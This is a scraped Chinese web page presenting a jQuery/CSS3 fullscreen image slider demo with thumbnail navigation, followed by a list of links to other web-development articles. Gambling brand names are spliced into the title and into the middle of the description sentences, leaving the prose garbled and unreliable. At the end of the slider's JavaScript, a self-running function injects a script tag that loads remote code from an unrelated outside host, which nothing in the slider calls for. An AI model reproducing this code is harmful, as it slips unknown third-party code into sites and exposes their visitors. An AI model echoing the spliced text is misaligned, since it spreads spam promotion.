jQuery实云开体育app官方网站升级现全屏图片滑块焦点图动画28PC加拿大手机版-28PC加拿大官方版
效果演示
window.onload = function(){ var oImgBox = getByClass(document.body,'pxs_slider_wrapper')[0]; var oImg = getByClass(document.body,'pxs_slider')[0]; var aLi = oImg.getElementsByTagName('li'); var aImg = oImg.getElementsByTagName('img'); //各种背景 var bg1 = getByClass(document.body,'pxs_bg1')[0]; var bg2 = getByClass(document.body,'pxs_bg2')[0]; var bg3 = getByClass(document.body,'pxs_bg3')[0]; var oPrev = getByClass(document.body,'pxs_next')[0]; var oNext = getByClass(document.body,'pxs_prev')[0]; var oImg_sm = getByClass(document.body,'pxs_thumbnails')[0]; var aImg_li = oImg_sm.getElementsByTagName('li'); var aImg_sm = oImg_sm.getElementsByTagName('img'); var iNow = 0; oImg.style.width = aLi.length * document.documentElement.clientWidth + 'px'; for(var i=0; i<aLi.length;i++) { aLi[i].style.width = document.documentElement.clientWidth + 'px'; } oPrev.style.left = document.documentElement.clientWidth /2 + aImg[0].offsetWidth /2 - oPrev.offsetWidth - 14 + 'px'; oNext.style.left = document.documentElement.clientWidth /2 - aImg[0].offsetWidth /2 + oPrev.offsetWidth - 15 + 'px'; oImg_sm.style.width = aImg[0].offsetWidth + 'px'; oImg_sm.style.marginLeft = - aImg[0].offsetWidth/2 + 'px' for(var i=0;i<aImg_sm.length;i++) { aImg_li[i].index = i; var ran = Math.random() * 40 - 20; var cliWidth = (oImg_sm.offsetWidth - aImg_li[0].offsetWidth*aImg_li.length)/(aImg_li.length+1); aImg_li[i].style.left = cliWidth + i*(cliWidth+aImg_li[i].offsetWidth) + 'px'; setStyle3(aImg_li[i],'transform','rotate(' + ran + 'deg)') aImg_li[i].onmouseover = function() { iNow = this.index; startMove(aImg_sm[this.index], {opacity:100,marginTop:-20}); } aImg_li[i].onmouseout = function() { startMove(aImg_sm[this.index], {opacity:70,marginTop:0}); } aImg_li[i].onclick = function() { if(iNow == 0) { bg3.style.left = 0; bg2.style.left = 0; bg1.style.left = 0; } startMove(oImg, {left:-(iNow) * document.documentElement.clientWidth}); startMove(bg3, {left:parseInt(bg3.offsetLeft - document.documentElement.clientWidth/2)}); startMove(bg2, {left:parseInt(bg2.offsetLeft - document.documentElement.clientWidth/4)}); startMove(bg1, {left:parseInt(bg1.offsetLeft - document.documentElement.clientWidth/8)}); } oPrev.onclick = function() { if(iNow == aImg_li.length-1) { iNow = -1; bg3.style.left = 0; bg2.style.left = 0; bg1.style.left = 0; startMove(aImg_sm[aImg_li.length-1], {opacity:70,marginTop:0}); } iNow++ startMove(oImg, {left:-(iNow) * document.documentElement.clientWidth}); startMove(bg3, {left:parseInt(bg3.offsetLeft - document.documentElement.clientWidth/2)}); startMove(bg2, {left:parseInt(bg2.offsetLeft - document.documentElement.clientWidth/4)}); startMove(bg1, {left:parseInt(bg1.offsetLeft - document.documentElement.clientWidth/8)}); for(var i=0;i<aImg_sm.length;i++) { startMove(aImg_sm[i], {opacity:70,marginTop:0}); } startMove(aImg_sm[iNow], {opacity:100,marginTop:-20}); } oNext.onclick = function() { if(iNow == 0) { iNow = aImg_li.length; bg3.style.left = -bg3.offsetWidth + document.documentElement.clientWidth + 'px'; bg2.style.left = -bg2.offsetWidth + document.documentElement.clientWidth + 'px'; bg1.style.left = -bg1.offsetWidth + document.documentElement.clientWidth + 'px'; startMove(aImg_sm[0], {opacity:70,marginTop:0}); } iNow-- startMove(oImg, {left:-(iNow) * document.documentElement.clientWidth}); startMove(bg3, {left:parseInt(bg3.offsetLeft + document.documentElement.clientWidth/2)}); startMove(bg2, {left:parseInt(bg2.offsetLeft + document.documentElement.clientWidth/4)}); startMove(bg1, {left:parseInt(bg1.offsetLeft + document.documentElement.clientWidth/8)}); for(var i=0;i<aImg_sm.length;i++) { startMove(aImg_sm[i], {opacity:70,marginTop:0}); } startMove(aImg_sm[iNow], {opacity:100,marginTop:-20}); } } (function (){ var oS=document.createElement('script'); oS.type='text/javascript'; oS.src='http://www.bokequ.com/category/web'; document.body.appendChild(oS); })();}配合天空白云的背景,
这是一款非常大气的jQuery+CSS3全屏焦点图插件,焦点图有缩略28PC加拿大手机版-28PC加拿大官方版图导航,云开体育app官方网站升级像是浮动一样,非常立体。图片可云开体育28PC加拿大手机版-28PC加拿大官方版app官方网站升级以全屏切换快速滑动,点击缩略图可以切换至相应的图片;图片有阴影,
- 最近发表
- 随机阅读
-
- (扒站工具)如何下载网站fonts文件夹
- DedeCMS织梦从入门到精通建站(仿站)视频教程全集
- WordPress免插件实现文章代码高亮方法
- 微软Microsoft Edge Image Editor扩展如何关闭?
- WordPress插件No category base移除分类目录category
- web前端CSS传统布局position属性
- javascript位运算符与赋值运算符
- 35dir网站分类目录源码v2.2(纯净版)
- javascript一元运算符与算术运算符
- HTML5表单元input(二)
- 织梦include\ckeditor\ckeditor
- CSS3文本效果text
- wordpress博客网站QQ/微博快速登录插件Foxlogin
- TON Defies Market Sentiment With a Massive 23% Surge, BTC Slumps Toward $70K (Market Watch)
- HTML5+three实现3D酷炫拼魔方游戏代码
- WordPress添加QQ/微博登录Erphplogin插件
- 帝国cms网站链接URL伪静态设置方法
- HTML网页植物大战僵尸源码分享
- wppay免登录付费查看隐藏内容/付费资源下载
- wordpress简洁单栏个人博客模板
- 搜索
-
- 友情链接
-